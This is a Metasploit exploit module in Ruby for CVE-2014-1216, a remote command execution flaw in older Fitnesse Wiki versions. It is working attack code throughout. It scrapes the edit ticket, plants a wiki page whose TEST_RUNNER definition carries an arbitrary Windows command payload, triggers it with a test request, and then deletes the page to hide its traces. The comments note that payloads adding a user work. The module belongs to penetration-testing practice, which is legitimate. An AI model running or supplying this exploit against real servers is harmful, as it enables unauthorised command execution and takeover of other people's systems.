##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Fitnesse Wiki Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability found in Fitnesse Wiki, version 20140201
and earlier.
},
'Author' =>
[
'Jerzy Kramarz', ## Vulnerability discovery
'Veerendra G.G <veerendragg {at} secpod.com>', ## Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-1216' ],
[ 'OSVDB', '103907' ],
[ 'BID', '65921' ],
[ 'URL', 'http://secpod.org/blog/?p=2311' ],
[ 'URL', 'http://secpod.org/msf/fitnesse_wiki_rce.rb' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Mar/1' ],
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd', ##
##'RequiredCmd' => 'generic telnet',
## payloads cmd/windows/adduser and cmd/windows/generic works perfectly
}
},
'Platform' => %w{ win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['Windows', { 'Platform' => 'win' } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 25 2014'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Fitnesse Wiki base path', '/'])
], self.class)
end
def check
print_status("#{peer} - Trying to detect Fitnesse Wiki")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
if res && res.code == 200 && res.body.include?(">FitNesse<")
print_good("#{peer} - FitNesse Wiki Detected!")
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def http_send_command(command)
## Construct random page in WikiWord format
uri = normalize_uri(target_uri.path, 'TestP' + rand_text_alpha_lower(7))
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "?edit"
})
if !res || res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
print_status("#{peer} - Retrieving edit time and ticket id")
## Get Edit Time and Ticket Id from the response
res.body =~ /"editTime" value="((\d)+)"/
edit_time = $1
res.body =~ /"ticketId" value="((-?\d)+)"/
ticket_id = $1
## Validate we are able to extract Edit Time and Ticket Id
if !edit_time or !ticket_id
print_error("#{peer} - Failed to get Ticket Id / Edit Time.")
return
end
print_status("#{peer} - Attempting to create '#{uri}'")
## Construct Referer
referer = "http://#{rhost}:#{rport}" + uri + "?edit"
## Construct command to be executed
page_content = '!define COMMAND_PATTERN {%m}
!define TEST_RUNNER {' + command + '}'
print_status("#{peer} - Injecting the payload")
## Construct POST request to create page with malicious commands
## inserted in the page
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'headers' => {'Referer' => referer},
'vars_post' =>
{
'editTime' => edit_time,
'ticketId' => ticket_id,
'responder' => 'saveData',
'helpText' => '',
'suites' => '',
'__EDITOR__1' => 'textarea',
'pageContent' => page_content,
'save' => 'Save',
}
})
if res && res.code == 303
print_status("#{peer} - Successfully created '#{uri}' with payload")
end
## Execute inserted command
print_status("#{peer} - Sending exploit request")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "?test"
})
if res && res.code == 200
print_status("#{peer} - Successfully sent exploit request")
end
## Cleanup by deleting the created page
print_status("#{peer} - Execting cleanup routine")
referer = "http://#{rhost}:#{rport}" + uri + "?deletePage"
res = send_request_cgi(
{
'uri' => uri + "?deletePage",
'method' => 'POST',
'headers' => {'Referer' => referer},
'vars_post' =>
{
'confirmed' => 'Yes',
}
})
end
def exploit
http_send_command(payload.encoded)
end
end